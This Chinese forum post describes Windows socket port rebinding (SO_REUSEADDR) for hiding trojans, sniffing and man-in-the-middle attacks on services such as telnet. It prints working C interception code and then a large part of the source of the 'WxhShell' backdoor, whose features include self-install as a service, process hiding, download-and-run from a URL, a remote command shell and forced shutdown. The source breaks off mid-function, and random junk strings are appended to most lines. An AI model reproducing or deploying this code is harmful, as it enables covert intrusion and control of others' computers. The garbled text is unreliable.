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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MZ+8wr/y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m++VW0Y>  
>\} 2("bv  
  saddr.sin_family = AF_INET; u33+ikYv  
o0s+ roiD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i0p"q p  
X[NsdD?w1+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L-@j9hU{  
rx_'(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  >?U (w<  
Rc?wIL)  
  这意味着什么?意味着可以进行如下的攻击: 1#]tCi`  
HEjV7g0E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !p&M,6  
)u\"xxcV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) X?4tOsd  
`j4ukOnG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SAThY$)6  
z56W5g2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]Z<{ ~  
qhF/iUE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JWMIZ{/M  
m'aw`?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Qf>dfJ^q  
 @tDVW *!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4"l(rg  
cQ3Dk<GZ  
  #include rU.ew~  
  #include ' 'UiQ   
  #include {v;Y}o-p  
  #include    jn)~@~c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {_^sR}%]F  
  int main() xiA9X]FB  
  { u^ngD64  
  WORD wVersionRequested; ]7dm`XV  
  DWORD ret; TKRu^KH9  
  WSADATA wsaData; iOki ZN+d>  
  BOOL val; r(cS{oni  
  SOCKADDR_IN saddr; OWOj|jM  
  SOCKADDR_IN scaddr; apGf@b  
  int err; Q CfA3*  
  SOCKET s; ##k== 'dR  
  SOCKET sc; r<&d1fM;X  
  int caddsize; ;zSh9H  
  HANDLE mt; H1hj` '\"<  
  DWORD tid;    U]e;=T:3  
  wVersionRequested = MAKEWORD( 2, 2 ); ] MUuz'<  
  err = WSAStartup( wVersionRequested, &wsaData ); \P{VJ^) 0  
  if ( err != 0 ) { g&BF#)7C  
  printf("error!WSAStartup failed!\n"); KS(s<ip|  
  return -1; 5G\vV]RR&  
  } s'} oVx]  
  saddr.sin_family = AF_INET; Qs;bVlp!H  
   1S.nqOfx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s{IycTbz  
lXv{+ic  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ajkRL|^  
  saddr.sin_port = htons(23); xQaN\):^8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r%_)7Wk*  
  { AO8`ItNZdT  
  printf("error!socket failed!\n"); W J^r~*r  
  return -1; 4\Q ?4ZX  
  } Q3z-v&^E9  
  val = TRUE; 6AZ/whn#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BS+N   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (kb^=kw#0  
  { SB eb}LZ  
  printf("error!setsockopt failed!\n"); a#j0N5<Nl  
  return -1; g%RL9-z  
  } #XC\= pZX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L F Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L6 hTz'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ds0^/bYp&  
sl/#1B   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c5]^jUB6  
  { Et`z7Q*e  
  ret=GetLastError(); bnUd !/;  
  printf("error!bind failed!\n"); *PZNZ{|m  
  return -1; ur*1I/v  
  } B{c,/{=O  
  listen(s,2); mv<z%y?Oj  
  while(1) hof ZpM  
  { ] hL 1qS  
  caddsize = sizeof(scaddr); ha3 Qx  
  //接受连接请求 Ngh9+b6[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s?E7tmaM  
  if(sc!=INVALID_SOCKET) $S=lm {  
  { !*+~R2&b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eN N%%Q  
  if(mt==NULL) H4^-MSw  
  { x:@HtTX  
  printf("Thread Creat Failed!\n"); (K^9$w]tf  
  break; R}>Gk  
  } uK}k]x\z  
  } !t~S.`vF  
  CloseHandle(mt); |2{y'?,  
  } .CrahV1G  
  closesocket(s); a|T P2m  
  WSACleanup(); +a nNpy  
  return 0; 9(ANhG  
  }   (Dq3e9fX  
  DWORD WINAPI ClientThread(LPVOID lpParam) f>-OwL($P  
  { WR gAc%  
  SOCKET ss = (SOCKET)lpParam; v[35C]gS  
  SOCKET sc; (lS&P"Xi  
  unsigned char buf[4096]; b!<?,S  
  SOCKADDR_IN saddr; @6}c\z@AxM  
  long num; { S4?L8  
  DWORD val; osPX%k!yw  
  DWORD ret; vr=iG xD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @j5W4HU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EJb"/oLla  
  saddr.sin_family = AF_INET; D3(|bSca  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qmtVk  
  saddr.sin_port = htons(23);  4\dc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1MX:^L!f8  
  { .+|G`*1<i  
  printf("error!socket failed!\n"); H_vOZ0  
  return -1; )?I1*(1{A  
  } [[oX$0Fp\!  
  val = 100; G@ BrU q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <;phc~0+  
  { (#X/sZQh  
  ret = GetLastError(); Pm%ZzU  
  return -1; <;SQ1^N  
  } M+ 8!#n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ) ?+-Z2BwA  
  { =36vsps=  
  ret = GetLastError(); *N[.']#n  
  return -1; fPZBm&`C  
  } (s,Nq~O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  ZRsDn  
  { ('OPW&fRG  
  printf("error!socket connect failed!\n"); TW:vL~L  
  closesocket(sc); Q?I)1][ !"  
  closesocket(ss); AL&}WbUC  
  return -1; +\\*Iy'xK  
  } ()}O|JL:K  
  while(1) y? )v-YGu  
  { EYcvD^!1g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J<>z}L{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 LV4 x9?&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B`T|M$Ug  
  num = recv(ss,buf,4096,0); k2j:s}RHY  
  if(num>0) lk2F]@_kJH  
  send(sc,buf,num,0); B#B$w_z  
  else if(num==0) --Dw8FR9  
  break; f?2Y np=@  
  num = recv(sc,buf,4096,0); rRYP~ $c  
  if(num>0) R^f~aLl  
  send(ss,buf,num,0); HI,1~ Jw+  
  else if(num==0) mhnD1}9,Ih  
  break; x,5$VLs\+  
  } V7[Dvg:W  
  closesocket(ss); |\XjA4j  
  closesocket(sc); 4ME8NEE  
  return 0 ; xQk]a1  
  } gt';_  
OMvwmm  
vD[@cm  
========================================================== l:z :tJ#(  
;=5V)1~i1;  
下边附上一个代码,,WXhSHELL 4)]g=-3  
~SUA.YuF  
========================================================== $io-<Z#Q  
InH R> ,  
#include "stdafx.h"  !|9$  
rf@/<Wu  
#include <stdio.h> DcQ^V4_  
#include <string.h> &Sa<&2W4S  
#include <windows.h> OcQ_PE5\  
#include <winsock2.h> *O)_D bj  
#include <winsvc.h> 6pLB`1[v  
#include <urlmon.h> $P866F  
MN$j{+!Q  
#pragma comment (lib, "Ws2_32.lib") zt[TShD^  
#pragma comment (lib, "urlmon.lib") 69dFd!G\  
@1*lmFq'kV  
#define MAX_USER   100 // 最大客户端连接数 bL)g+<:F  
#define BUF_SOCK   200 // sock buffer /raM\EyrlP  
#define KEY_BUFF   255 // 输入 buffer k {s#wJA  
vk5pnCM^3  
#define REBOOT     0   // 重启 b v\V>s  
#define SHUTDOWN   1   // 关机 zv@'x nY]  
cEsBKaN  
#define DEF_PORT   5000 // 监听端口 (e= ksah3>  
JjfNH ~  
#define REG_LEN     16   // 注册表键长度 $a15 8  
#define SVC_LEN     80   // NT服务名长度 N5}vy$t_P  
9(ZzwkD'>  
// 从dll定义API ,^26.p$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l YH={jJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \#LKsQa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B 0 K2Uw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :54|Z5h|  
fOE:~3Q  
// wxhshell配置信息 a}i{b2B  
struct WSCFG { xXA$16kd  
  int ws_port;         // 监听端口 u\t[rC=yd  
  char ws_passstr[REG_LEN]; // 口令 >B8)Wb :  
  int ws_autoins;       // 安装标记, 1=yes 0=no AN^,  
  char ws_regname[REG_LEN]; // 注册表键名 Wn0r[h5t  
  char ws_svcname[REG_LEN]; // 服务名 4TwU0N+>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `Jm{K*&8Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _N/]&|.. !  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :Jhx4/10  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B|:{.U@ne  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U|{WtuR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aI8wy-3I  
oYJ&BPuA'  
}; ^z[s;:-  
pxI*vgfN7  
// default Wxhshell configuration / sH*if  
struct WSCFG wscfg={DEF_PORT, /R|"/B0  
    "xuhuanlingzhe", 3qpk Mu3  
    1, 8^dGI9N  
    "Wxhshell", !cSD9q*  
    "Wxhshell", cb'8Li8,j  
            "WxhShell Service", KOi%zE%  
    "Wrsky Windows CmdShell Service", et9 c<'  
    "Please Input Your Password: ", *k+QX   
  1, 6b<t|zb  
  "http://www.wrsky.com/wxhshell.exe", {E6W]Mno  
  "Wxhshell.exe" {/Q pEd>3+  
    }; (/k,q  
{GHGFi`Z  
// 消息定义模块 p-*BB_J"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (a^F`#]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6bHj<6>MX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,ypxy/  
char *msg_ws_ext="\n\rExit.";  }Ecm  
char *msg_ws_end="\n\rQuit."; a#uJzYB0  
char *msg_ws_boot="\n\rReboot..."; 6\::Ku4_2  
char *msg_ws_poff="\n\rShutdown..."; ,pLesbI  
char *msg_ws_down="\n\rSave to "; l_,8_u7G  
<}4|R_xY#  
char *msg_ws_err="\n\rErr!"; "H G:by  
char *msg_ws_ok="\n\rOK!"; 3>L1}zyM]  
$<ZX};/D  
char ExeFile[MAX_PATH]; #(  kT  
int nUser = 0; #e8CuS  
HANDLE handles[MAX_USER]; TS UN(_XGW  
int OsIsNt; zcxG%? Q  
E"L'm0i[[  
SERVICE_STATUS       serviceStatus; k?J}-+Bm[|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TzK?bbgr!  
c#Y9L+O  
// 函数声明 /OxF5 bN2  
int Install(void); =A!I-@]q<  
int Uninstall(void); %+pXzw`B  
int DownloadFile(char *sURL, SOCKET wsh); OcSLRN?t  
int Boot(int flag); 9R ugkGy  
void HideProc(void); !0fK*qIL  
int GetOsVer(void); Wq,UxMz  
int Wxhshell(SOCKET wsl); 0hNc#x6  
void TalkWithClient(void *cs); E&[ox[g{  
int CmdShell(SOCKET sock); C y& L,  
int StartFromService(void); ,9A[o`b  
int StartWxhshell(LPSTR lpCmdLine); /,:32H  
eGguq~s`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4e%SF|(Y'h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HuK'tU#  
wkIH<w|jb  
// 数据结构和表定义 }'@*Olj  
SERVICE_TABLE_ENTRY DispatchTable[] = Eydk64 5:3  
{ F[?t"d  
{wscfg.ws_svcname, NTServiceMain}, Pt1Htt:BE  
{NULL, NULL} `mWg$e,  
}; qY0Ic5wCY  
CV& SNA  
// 自我安装 l[.pI];T  
int Install(void) :^ cA\2=  
{ RKBtwZx>f  
  char svExeFile[MAX_PATH]; E4{^[=}  
  HKEY key; 3b[_0  
  strcpy(svExeFile,ExeFile); 9JUlu  
=E,*8O]  
// 如果是win9x系统,修改注册表设为自启动 ,>~9 2  
if(!OsIsNt) { t;4{l`dk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JgxOxZS`@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sxuYwQ  
  RegCloseKey(key); Zd5fr c$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ml3]CcKn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EL+}ab2S  
  RegCloseKey(key); R_H di~ k  
  return 0; GJ((eAS)  
    } Y)!5Z.K  
  } XS1>ti|<  
} : 0%V:B  
else { ].Et&v  
)P,jpE8  
// 如果是NT以上系统,安装为系统服务  oR5`-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i4uUvZ f  
if (schSCManager!=0) w-\GrxlbX  
{ 4~Z\tP|Q.  
  SC_HANDLE schService = CreateService $:<KG&Br  
  ( "0]i4d1l  
  schSCManager, dwmj*+  
  wscfg.ws_svcname, aIm\tPbb  
  wscfg.ws_svcdisp, $MP'j9-S?  
  SERVICE_ALL_ACCESS, C"YM"9JSJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2pB@qi-]  
  SERVICE_AUTO_START, g@S"!9[;U  
  SERVICE_ERROR_NORMAL, D&]SPhX  
  svExeFile, (IEtjv}D  
  NULL, 5X[=Q>  
  NULL, yCm iW %L4  
  NULL, mT)iN`$Y@  
  NULL, 0_%u(?  
  NULL  o,X ?  
  ); pET5BMxGG  
  if (schService!=0) u/``*=Y@  
  { fc&4e:Ve  
  CloseServiceHandle(schService); ^(a%B  
  CloseServiceHandle(schSCManager); 3 UBG?%!$f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0h#' 3z<  
  strcat(svExeFile,wscfg.ws_svcname); @y}1%{,%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k.rZj|7 L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >-]Y%O;}  
  RegCloseKey(key); ,!Q2^R   
  return 0; CRS/qso[Q'  
    } OHH wcJ7N  
  } :GO}G`jY  
  CloseServiceHandle(schSCManager); QDyL0l{C  
} \5O4}sm$*  
} r0hu?3u1?  
b~cN#w #  
return 1; ku?i[Th  
} P~=|R9 t  
6R#f 8  
// 自我卸载 p+A#t~K  
int Uninstall(void) Dmn6{jy P  
{ iGm[fxQ|  
  HKEY key; e >MC 3D`5  
72Ft?;R  
if(!OsIsNt) { Oi=kL{DG:s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p"Fj6T2  
  RegDeleteValue(key,wscfg.ws_regname); }}K4 4<]u  
  RegCloseKey(key); elw<(<u`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +MXI;k_  
  RegDeleteValue(key,wscfg.ws_regname); @Vc*JEW  
  RegCloseKey(key); XG*Luc-v  
  return 0; j@Z4(X L  
  } NCd_h<}|6F  
} a B%DIH,  
} rsA K0R+  
else { C:zK{+  
 s y#CR4X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @/XA*9]l  
if (schSCManager!=0) k6. }.  
{ BEN=/ v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .J'}qkz~  
  if (schService!=0) h_Q9 c  
  { hQPiGIs  
  if(DeleteService(schService)!=0) { b`fPP{mG  
  CloseServiceHandle(schService); ;#cb%e3  
  CloseServiceHandle(schSCManager); # (T  
  return 0; (*BQd1Z  
  } kC0F@'D  
  CloseServiceHandle(schService); 0Ocy$  
  } ErHbc 2  
  CloseServiceHandle(schSCManager); $_% a=0  
} 9SXFiZA(r  
} vG69z&  
`/8Dmg  
return 1; MAQkk%6[g  
} U"af3c^2  
X^eTf-*T  
// 从指定url下载文件 CsJw;]dYI  
int DownloadFile(char *sURL, SOCKET wsh) Ztr,v$  
{ vc5g 4ud  
  HRESULT hr; 9v8{JaI3  
char seps[]= "/"; M)#aX|%Mh  
char *token; >@rsh-Z  
char *file; z*"zXL C  
char myURL[MAX_PATH]; ^ ,d!K2`  
char myFILE[MAX_PATH]; w?Cqe N  
f3[gA Y  
strcpy(myURL,sURL); y08.R. l  
  token=strtok(myURL,seps); VkZrb2]v  
  while(token!=NULL) n0:'h}^  
  { 6DD"Asi+  
    file=token; v&;q4b4  
  token=strtok(NULL,seps); :na9PW`TC  
  } K}L-$B*i  
D ]:sR  
GetCurrentDirectory(MAX_PATH,myFILE); #ih(I7prH  
strcat(myFILE, "\\"); Ux2(Oph  
strcat(myFILE, file); q okgu$2  
  send(wsh,myFILE,strlen(myFILE),0); O=?WI  
send(wsh,"...",3,0); #qtAFIm'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q~48lxDU  
  if(hr==S_OK) FO&U{(Q  
return 0; gu7mGHn-  
else 5IE2&V  
return 1; 6*J`2U9Q  
?~Fk_#jz,@  
} ^OnU;8IC  
# y%Q{  
// 系统电源模块 NTkGLD1e.  
int Boot(int flag) vd6Y'Zk|F6  
{ Mk Er|w'  
  HANDLE hToken; dgh )Rfp3  
  TOKEN_PRIVILEGES tkp; ELZCrh6*  
: 9wW*Ix  
  if(OsIsNt) { M_<O'Ii3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e C?adCb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AKk6kI8F  
    tkp.PrivilegeCount = 1; jeXv)}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BT.;l I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); * 7u~`  
if(flag==REBOOT) { ^I*</w8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a ;WRTV  
  return 0; =i O K($  
} 9~2}hXm;  
else { `xMmo8u4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {4SwCN /  
  return 0; =Yg36J4[  
} 7=(r k  
  } pC2ZN  
  else { ^1^k<  
if(flag==REBOOT) { AIgJ,=9K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KHV5V3q4  
  return 0; SAMP,un7  
} kv{uf$X*ve  
else { >77N5 >]e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uu@Y]0-  
  return 0; 1D%3|_id^  
} +LuGjDn0  
} +[C dd{2  
l?2(c  
return 1; >{?~cNO&  
} ErIAS6HS'  
yr?*{;  
// win9x进程隐藏模块 6 2GP1qH9  
void HideProc(void) 5 #3/  
{ &'4{/Gz  
+aR.t@D+"Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o=@ 0Bd8  
  if ( hKernel != NULL ) *5?a% p  
  { o8Vtxnkg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cVya~ *  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _ZX"gH x  
    FreeLibrary(hKernel); r!:W-Y%&#  
  } d*Q:[RUf,  
41Bp^R}^/  
return; R1OC7q  
} C%_^0#8-0  
^wNx5t  
// 获取操作系统版本 IA_>x9 (~  
int GetOsVer(void) & 9X`tCnL  
{ tl9=u-D13@  
  OSVERSIONINFO winfo; =2!AK[KxX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xEdCGwgp#  
  GetVersionEx(&winfo); E`s9SE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FYq]-k{\  
  return 1; ~_<I}!j/B  
  else &S[tI$  
  return 0;  t9T3e  
} jm9J-%?  
wgfy; #  
// 客户端句柄模块 ^T*^L=L_(  
int Wxhshell(SOCKET wsl) ."b=dkx  
{ X{KWBk.1  
  SOCKET wsh; rw_T&>!  
  struct sockaddr_in client; uis;S)+  
  DWORD myID; juOOD   
7LMad%  
  while(nUser<MAX_USER) YF/@]6j  
{ }%LwaRT  
  int nSize=sizeof(client); 8&snLOU -Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); at7|r\`?-  
  if(wsh==INVALID_SOCKET) return 1; 7 +A-S9P)  
3S='/^l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rK&ofc]f$  
if(handles[nUser]==0) ER,,K._?B  
  closesocket(wsh); BkfWZ O{7  
else Bfhw0v]Z  
  nUser++; gNk x]bm  
  } HRS|VC$tz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); clfi)-^ {K  
09?n5x!6  
  return 0; DC S$d1  
} C {.{>M  
K|*Cka{  
// 关闭 socket V# Mw  
void CloseIt(SOCKET wsh) bSHlR#!6  
{ s)Sa KE*d  
closesocket(wsh); o %#Z  
nUser--; [XFZ2'OO  
ExitThread(0); k 1;,eB  
} | rJ_  
&We1i &w  
// 客户端请求句柄 h.0Y!'?  
void TalkWithClient(void *cs) 48,Aq*JFw  
{ A6w/X`([O  
AU1P?lk  
  SOCKET wsh=(SOCKET)cs; *]G&pmMs  
  char pwd[SVC_LEN]; )Y':u_Lo  
  char cmd[KEY_BUFF]; +js3o@Ku{\  
char chr[1];  v|+}>g  
int i,j; xTQV?g J  
+kCVi  
  while (nUser < MAX_USER) { Dz, Fu:)  
Ycb<'M*jE  
if(wscfg.ws_passstr) { 6GzmzhX4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -x )(2|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X;_0"g  
  //ZeroMemory(pwd,KEY_BUFF);  /bA\O   
      i=0; -eAo3  
  while(i<SVC_LEN) { rXo2MX@u  
?#]K54?  
  // 设置超时 <LM<,  
  fd_set FdRead; 0@a6r=`el  
  struct timeval TimeOut; g3{)AX[Uy  
  FD_ZERO(&FdRead); j}YZl@dYV  
  FD_SET(wsh,&FdRead); J{72%S  
  TimeOut.tv_sec=8; =!NYvwg6;o  
  TimeOut.tv_usec=0; @'[w7HsJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r$ue1bH}|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p-V#nPb  
#r 1 $=GY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |E @Gsw  
  pwd=chr[0]; oQ!}@CaN|  
  if(chr[0]==0xd || chr[0]==0xa) { 9[5NnRv$P  
  pwd=0; EK. L>3  
  break; M%4o0k]E,s  
  } #f]R:Ix>  
  i++; G 8|[.n  
    } %o< &O(Y  
$I_ 04k#t  
  // 如果是非法用户,关闭 socket lD2>`s 5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A`u04Lm7  
} [ANit0-~  
~Av]LW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FM9b0qE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sw*k(i  
Y5LESZWo  
while(1) { P,AS`=z  
9B Lz  
  ZeroMemory(cmd,KEY_BUFF); _J&u{  
Mr:*l`b_  
      // 自动支持客户端 telnet标准   xt +fu L  
  j=0; R@>R@V>c  
  while(j<KEY_BUFF) { Cq1t[a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q"8)'dL'  
  cmd[j]=chr[0]; M "p6xp/  
  if(chr[0]==0xa || chr[0]==0xd) { P&| =  
  cmd[j]=0; qM@][]j:  
  break; fT._Os?i  
  } O89<IXk  
  j++; lsW.j#yE!  
    } do*`-SDy  
u]E%R&  
  // 下载文件 mL+}Ka  
  if(strstr(cmd,"http://")) { `6j?2plZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fh$U"  
  if(DownloadFile(cmd,wsh)) 3leg,q d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aVuan&]*=  
  else nL^6{I~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |NtT-T)7  
  } v Xio1hu  
  else { m'k`p5[=h  
&m8B%9w  
    switch(cmd[0]) { I>/`W  
  } 3:TPW5S  
  // 帮助 ~2@U85"o  
  case '?': { ~'fa,XZ<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oiO3]P]P  
    break; 0x# 6L  
  } l@1f L%f  
  // 安装 Djf2ir'  
  case 'i': { ABhza|  
    if(Install()) 4)2*|w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ScGmft3A  
    else pzU">)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IvIBf2D;Q  
    break; 7u5B/M!  
    } R$,`}@VqZ3  
  // 卸载 a-!"m  
  case 'r': { LDV{#5J  
    if(Uninstall()) >jl"Yr#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xki/5roCQ|  
    else >;xEzc!W3*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K 1:F{*  
    break; Zy*}C,Z  
    } G&C)`};  
  // 显示 wxhshell 所在路径 @T/C<-/:  
  case 'p': { 7M;Y#=sR  
    char svExeFile[MAX_PATH]; =5Q;quKu^5  
    strcpy(svExeFile,"\n\r"); " "a+Nc  
      strcat(svExeFile,ExeFile); |w~zh6~  
        send(wsh,svExeFile,strlen(svExeFile),0); Qg 6m  
    break; }sJ% InL  
    } 73}k[e7e  
  // 重启 T>f-b3dk  
  case 'b': { [9(B;;R@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E=s`$ A  
    if(Boot(REBOOT)) ,7%(Jj$ ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -m'a%aog  
    else { *y(2BrL>  
    closesocket(wsh); ;;nmF#  
    ExitThread(0); dJ24J+9}]j  
    } _IlL'c5  
    break; {7/6~\'/@  
    } GMNf#;x  
  // 关机 |?8CV\D!  
  case 'd': { Q ;k_q3  
